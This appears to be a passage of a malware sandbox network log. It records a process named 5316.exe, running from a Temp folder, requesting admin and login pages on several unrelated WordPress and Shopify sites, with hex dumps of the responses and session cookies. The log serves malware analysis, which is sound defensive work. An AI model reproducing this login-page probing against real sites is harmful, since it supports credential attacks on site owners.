2023-12-20 02:13:41 UTC	1252	IN	Data Raw: 5d 2d 2d 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 61 6e 67 75 6c 61 72 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e Data Ascii: ]--><script src="//static.parastorage.com/services/third-party/angularjs/1.2.28/angular.min.js"></script> ... --><script src="//static.parastorage.com/services/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.
2023-12-20 02:13:41 UTC	425	IN	Data Raw: 65 72 72 6f 72 50 61 67 65 43 74 72 6c 2e 65 72 72 6f 72 50 61 67 65 55 72 6c 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 68 65 61 64 65 72 22 3e 45 72 72 6f 72 20 34 30 34 2d 4e 6f 74 42 72 61 6e 64 65 64 20 6f 63 63 75 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f Data Ascii: errorPageCtrl.errorPageUrl"> <div class="non-angular-supported-browser-wrapper"> <h1 class="non-angular-supported-browser-header">Error 404-NotBranded occurred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we reco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.4	53791	83.98.155.23	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	170	OUT	GET / HTTP/1.1 Host: www.a2b-internet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	345	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:41 GMT Server: Apache/2 Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Content-Length: 135277 Cache-Control: max-age=0, public Expires: Wed, 20 Dec 2023 02:13:41 GMT X-Powered-By: WP Rocket/3.14.1 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:41 UTC	7847	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 2d 4e 4c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 73 63 72 69 70 74 20 69 64 3d 22 64 69 76 69 61 72 65 61 2d 6c 6f 61 64 65 72 22 3e 77 69 6e 64 6f 77 2e 44 69 Data Ascii: <!DOCTYPE html><html lang="nl-NL"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><script type="text/javascript">document.documentElement.className = 'js';</script><script id="diviarea-loader">window.Di
2023-12-20 02:13:41 UTC	8000	IN	Data Raw: 61 6e 74 3b 77 69 64 74 68 3a 31 33 25 7d 2e 65 74 5f 70 62 5f 64 69 76 69 64 65 72 5f 30 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 23 66 33 39 34 31 65 7d 2e 65 74 5f 70 62 5f 74 65 78 74 5f 32 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 38 65 6d 7d 62 6f 64 79 20 23 70 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 74 5f 70 62 5f 73 65 63 74 69 6f 6e 20 2e 65 74 5f 70 62 5f 62 75 74 74 6f 6e 5f 30 7b 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 62 6f 64 79 20 23 70 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 74 5f 70 62 5f 73 65 63 74 69 6f Data Ascii: ant;width:13%}.et_pb_divider_0:before{border-top-color:#f3941e}.et_pb_text_2{font-weight:300;line-height:1.8em}body #page-container .et_pb_section .et_pb_button_0{color:#ffffff!important;border-radius:70px;font-size:14px}body #page-container .et_pb_sectio
2023-12-20 02:13:42 UTC	8000	IN	Data Raw: 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 65 20 6d 65 65 73 74 20 65 66 66 69 63 69 c3 ab 6e 74 65 20 72 6f 75 74 65 20 6e 61 61 72 20 69 6e 74 65 72 6e 65 74 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 32 62 2d 69 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 70 6f 74 65 6e 74 69 61 6c 41 63 74 69 6f 6e 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 53 65 61 72 63 68 41 63 74 69 6f 6e 22 2c 22 74 61 72 67 65 74 22 3a 7b 22 40 74 79 70 65 22 3a 22 45 6e 74 72 79 50 6f 69 6e 74 22 2c 22 75 72 6c 54 65 6d 70 6c 61 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 32 62 2d 69 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 3f 73 3d 7b 73 65 61 72 63 68 5f 74 Data Ascii: t","description":"De meest efficinte route naar internet","publisher":{"@id":"https://www.a2b-internet.com/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.a2b-internet.com/?s={search_t
2023-12-20 02:13:42 UTC	8000	IN	Data Raw: 29 28 29 3b 0a 09 09 09 09 09 09 09 09 09 7d 0a 09 09 09 3c 2f 73 63 72 69 70 74 3e 0a 09 09 09 09 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 27 70 72 65 6c 6f 61 64 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 32 62 2d 69 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 6c 69 62 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 27 20 64 61 74 61 2d 72 6f 63 6b 65 74 2d 61 73 79 6e 63 3d 22 73 74 79 6c 65 22 20 61 73 3d 22 73 74 79 6c 65 22 20 6f 6e 6c 6f 61 64 3d 22 74 68 69 73 2e 6f 6e 6c 6f 61 64 3d 6e 75 6c 6c 3b 74 68 69 73 2e 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 22 20 6f 6e 65 72 72 6f 72 3d 22 74 68 69 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d Data Ascii: )();}</script><link rel='preload' href='https://www.a2b-internet.com/lib/css/dist/block-library/style.min.css' data-rocket-async="style" as="style" onload="this.onload=null;this.rel='stylesheet'" onerror="this.removeAttribute('data-
2023-12-20 02:13:42 UTC	8000	IN	Data Raw: 7b 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 20 3e 20 2a 7b 6d 61 72 67 69 6e 3a 20 30 3b 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 30 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 70 78 3b 7d 61 3a 77 68 65 72 65 28 3a 6e 6f 74 28 2e 77 70 2d 65 6c 65 6d 65 6e 74 2d 62 75 74 74 6f 6e 29 29 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 7d 2e 77 70 2d 65 6c 65 6d 65 6e 74 2d 62 75 74 74 6f 6e 2c 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c Data Ascii: {flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}a:where(:not(.wp-element-button)){text-decoration: underline;}.wp-element-button, .wp-block-button__l
2023-12-20 02:13:42 UTC	8000	IN	Data Raw: 6c 65 2d 73 74 61 74 69 63 2e 6d 69 6e 2e 63 73 73 27 20 64 61 74 61 2d 72 6f 63 6b 65 74 2d 61 73 79 6e 63 3d 22 73 74 79 6c 65 22 20 61 73 3d 22 73 74 79 6c 65 22 20 6f 6e 6c 6f 61 64 3d 22 74 68 69 73 2e 6f 6e 6c 6f 61 64 3d 6e 75 6c 6c 3b 74 68 69 73 2e 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 22 20 6f 6e 65 72 72 6f 72 3d 22 74 68 69 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 72 6f 63 6b 65 74 2d 61 73 79 6e 63 27 29 22 20 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 64 61 74 61 2d 6d 69 6e 69 66 79 3d 22 31 22 20 72 65 6c 3d 27 70 72 65 6c 6f 61 64 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 32 62 2d 69 6e 74 65 72 6e 65 74 Data Ascii: le-static.min.css' data-rocket-async="style" as="style" onload="this.onload=null;this.rel='stylesheet'" onerror="this.removeAttribute('data-rocket-async')" type='text/css' media='all' /><link data-minify="1" rel='preload' href='https://www.a2b-internet
2023-12-20 02:13:42 UTC	8000	IN	Data Raw: 63 74 69 6f 6e 20 2e 65 74 5f 70 62 5f 74 69 74 6c 65 5f 63 6f 6e 74 61 69 6e 65 72 2c 2e 65 74 5f 70 62 5f 66 75 6c 6c 77 69 64 74 68 5f 73 65 63 74 69 6f 6e 20 2e 65 74 5f 70 62 5f 74 69 74 6c 65 5f 66 65 61 74 75 72 65 64 5f 63 6f 6e 74 61 69 6e 65 72 2c 2e 65 74 5f 70 62 5f 66 75 6c 6c 77 69 64 74 68 5f 68 65 61 64 65 72 3a 6e 6f 74 28 2e 65 74 5f 70 62 5f 66 75 6c 6c 73 63 72 65 65 6e 29 20 2e 65 74 5f 70 62 5f 66 75 6c 6c 77 69 64 74 68 5f 68 65 61 64 65 72 5f 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 31 32 38 30 70 78 7d 2e 65 74 5f 62 6f 78 65 64 5f 6c 61 79 6f 75 74 20 23 70 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 65 74 5f 62 6f 78 65 64 5f 6c 61 79 6f 75 74 2e 65 74 5f 6e 6f 6e 5f 66 69 78 65 64 5f 6e 61 76 2e 65 74 5f 74 Data Ascii: ction .et_pb_title_container,.et_pb_fullwidth_section .et_pb_title_featured_container,.et_pb_fullwidth_header:not(.et_pb_fullscreen) .et_pb_fullwidth_header_container{max-width:1280px}.et_boxed_layout #page-container,.et_boxed_layout.et_non_fixed_nav.et_t
2023-12-20 02:13:42 UTC	8000	IN	Data Raw: 68 32 2c 2e 65 74 5f 70 62 5f 66 69 6c 74 65 72 61 62 6c 65 5f 70 6f 72 74 66 6f 6c 69 6f 5f 67 72 69 64 20 2e 65 74 5f 70 62 5f 70 6f 72 74 66 6f 6c 69 6f 5f 69 74 65 6d 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 7d 2e 65 74 5f 70 62 5f 73 6c 69 64 65 72 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 20 2e 65 74 5f 70 62 5f 73 6c 69 64 65 73 20 2e 65 74 5f 70 62 5f 73 6c 69 64 65 5f 64 65 73 63 72 69 70 74 69 6f 6e 20 2e 65 74 5f 70 62 5f 73 6c 69 64 65 5f 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 35 70 78 7d 2e 65 74 5f 70 62 5f 67 61 6c 6c 65 72 79 5f 67 72 69 64 20 2e 65 74 5f 70 62 5f 67 61 6c 6c 65 72 79 5f 69 74 65 6d 20 68 33 2c 2e 65 74 5f 70 62 5f 70 6f 72 74 66 6f 6c 69 6f 5f 67 72 69 64 20 2e 65 74 5f 70 62 5f 70 6f 72 74 66 6f 6c Data Ascii: h2,.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2{font-size:13px}.et_pb_slider.et_pb_module .et_pb_slides .et_pb_slide_description .et_pb_slide_title{font-size:35px}.et_pb_gallery_grid .et_pb_gallery_item h3,.et_pb_portfolio_grid .et_pb_portfol
2023-12-20 02:13:42 UTC	8000	IN	Data Raw: 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 70 78 7d 2e 61 32 62 2d 2d 63 75 73 74 6f 6d 2d 62 75 6c 6c 65 74 73 20 6c 69 2c 2e 61 32 62 2d 2d 63 75 73 74 6f 6d 2d 62 75 6c 6c 65 74 73 2d 2d 6c 69 67 68 74 20 6c 69 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 34 65 6d 3b 74 65 78 74 2d 69 6e 64 65 6e 74 3a 2d 33 30 70 78 7d 2e 61 32 62 2d 2d 63 75 73 74 6f 6d 2d 62 75 6c 6c 65 74 73 20 6c 69 3a 62 65 66 6f 72 65 2c 2e 61 32 62 2d 2d 63 75 73 74 6f 6d 2d 62 75 6c 6c 65 74 73 2d 2d 6c 69 67 68 74 20 6c 69 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 32 30 70 78 Data Ascii: {padding-left:10px}.a2b--custom-bullets li,.a2b--custom-bullets--light li{list-style:none;padding-left:1.4em;text-indent:-30px}.a2b--custom-bullets li:before,.a2b--custom-bullets--light li:before{content:"";background-repeat:no-repeat;background-size:20px
2023-12-20 02:13:42 UTC	8000	IN	Data Raw: 6c 75 65 73 3d 22 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 22 20 2f 3e 3c 66 65 43 6f 6d 70 6f 6e 65 6e 74 54 72 61 6e 73 66 65 72 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 20 3e 3c 66 65 46 75 6e 63 52 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 2e 30 39 38 30 33 39 32 31 35 36 38 36 32 37 35 20 31 22 20 2f 3e 3c 66 65 46 75 6e 63 47 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 20 30 2e 36 36 32 37 34 35 30 39 38 30 33 39 32 32 Data Ascii: lues=" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 " /><feComponentTransfer color-interpolation-filters="sRGB" ><feFuncR type="table" tableValues="0.098039215686275 1" /><feFuncG type="table" tableValues="0 0.66274509803922

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.4	54022	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	175	OUT	GET /admin HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	450	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 53 Location: https://www.geoffreynolds.com.au/admin Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:41 GMT X-Served-By: cache-pdk-kpdk1780055-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038421.485657,VS0,VE26 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:41 UTC	53	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 61 64 6d 69 6e Data Ascii: Redirecting to https://www.geoffreynolds.com.au/admin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.4	54360	108.163.227.170	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:42 UTC	352	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:41 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:42 UTC	5312	IN	Data Raw: 31 34 62 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 Data Ascii: 14b3<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Active Graphics — WordPress</title><meta name='robots' content='max-image-preview:large, noindex, noa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.4	54410	23.227.38.74	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:41 UTC	189	OUT	GET /admin/auth/login HTTP/1.1 Host: eco-child.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:42 UTC	1113	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 Vary: Accept-Encoding Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 7475083 X-ShardId: 60 Cache-Control: no-store Content-Language: en X-Shopify-Login-Required: true Strict-Transport-Security: max-age=7889238 Set-Cookie: _secure_admin_session_id=9832549c59d14f004f9b41d254230155; path=/admin; expires=Wed, 20 Mar 2024 02:13:41 GMT; secure; HttpOnly; SameSite=None Set-Cookie: _secure_admin_session_id_csrf=9832549c59d14f004f9b41d254230155; path=/admin; expires=Wed, 20 Mar 2024 02:13:41 GMT; secure; HttpOnly; SameSite=Lax Set-Cookie: _master_udr=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaEpJaWsxTVRVNU1qSmlNQzAxTkdGbExUUmtPV1V0T0RobU55MDVZVE5oWlROaFlqUTNPREFHT2daRlJnPT0iLCJleHAiOiIyMDI1LTEyLTIwVDAyOjEzOjQxLjkzN1oiLCJwdXIiOiJjb29raWUuX21hc3Rlcl91ZHIifX0%3D--df0b90a51dbdd1a29a742d97130ed9532d4e98b3; path=/admin; expires=Sat, 20 Dec 2025 02:13:41 GMT; secure; HttpOnly; SameSite=Lax
2023-12-20 02:13:42 UTC	1578	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 69 64 65 6e 74 69 74 79 2d 73 74 61 74 65 2d 33 65 35 38 39 39 64 31 38 31 66 31 61 63 32 62 33 32 34 38 66 32 65 31 32 38 39 34 34 61 65 32 3d 42 41 68 37 44 45 6b 69 44 6e 4a 6c 64 48 56 79 62 69 31 30 62 77 59 36 42 6b 56 55 53 53 49 31 61 48 52 30 63 48 4d 36 4c 79 39 6c 59 32 38 74 59 32 68 70 62 47 51 75 62 58 6c 7a 61 47 39 77 61 57 5a 35 4c 6d 4e 76 62 53 39 68 5a 47 31 70 62 69 39 68 64 58 52 6f 4c 32 78 76 5a 32 6c 75 42 6a 73 41 56 45 6b 69 45 58 4a 6c 5a 47 6c 79 5a 57 4e 30 4c 58 56 79 61 51 59 37 41 46 52 4a 49 6b 46 6f 64 48 52 77 63 7a 6f 76 4c 32 56 6a 62 79 31 6a 61 47 6c 73 5a 43 35 74 65 58 4e 6f 62 33 42 70 5a 6e 6b 75 59 32 39 74 4c 32 46 6b 62 57 6c 75 4c 32 46 31 64 47 67 76 61 57 52 6c 62 6e 52 Data Ascii: Set-Cookie: identity-state-3e5899d181f1ac2b3248f2e128944ae2=BAh7DEkiDnJldHVybi10bwY6BkVUSSI1aHR0cHM6Ly9lY28tY2hpbGQubXlzaG9waWZ5LmNvbS9hZG1pbi9hdXRoL2xvZ2luBjsAVEkiEXJlZGlyZWN0LXVyaQY7AFRJIkFodHRwczovL2Vjby1jaGlsZC5teXNob3BpZnkuY29tL2FkbWluL2F1dGgvaWRlbnR
2023-12-20 02:13:42 UTC	1395	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 77 73 73 3a 2f 2f 2a 20 68 74 74 70 73 3a 2f 2f 2a 3b 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 66 72 61 6d 65 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 20 73 68 6f 70 69 66 79 2d 70 6f 73 3a 2f 2f 2a 3b 20 69 6d 67 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 68 74 74 70 73 3a 3b 20 73 Data Ascii: Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; s
2023-12-20 02:13:42 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 33 38 34 35 65 31 38 62 63 66 33 37 34 31 64 2d 4d 49 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 83845e18bcf3741d-MIAalt-svc: h3=":443"; ma=86400
2023-12-20 02:13:42 UTC	1703	IN	Data Raw: 31 34 37 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 2f 6f 61 75 74 68 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 37 65 65 36 35 61 36 33 36 30 38 38 34 33 63 35 37 37 64 62 38 62 32 33 63 34 64 37 33 31 36 65 61 30 61 30 31 62 64 32 66 37 35 39 34 66 38 61 39 63 30 36 65 61 36 36 38 63 31 62 37 37 35 63 26 61 6d 70 3b 64 65 73 74 69 6e 61 74 69 6f 6e 5f 75 75 69 64 3d 63 61 32 63 65 32 38 38 2d 34 32 38 30 2d 34 38 30 38 2d 39 32 62 65 2d 36 31 30 66 63 30 35 39 61 32 37 66 26 61 6d 70 3b 6e 6f 6e 63 65 3d 34 32 64 65 34 32 32 65 65 66 62 62 61 62 32 32 Data Ascii: 147<html> <body> <noscript> <a href="https://accounts.shopify.com/oauth/authorize?client_id=7ee65a63608843c577db8b23c4d7316ea0a01bd2f7594f8a9c06ea668c1b775c&destination_uuid=ca2ce288-4280-4808-92be-610fc059a27f&nonce=42de422eefbbab22
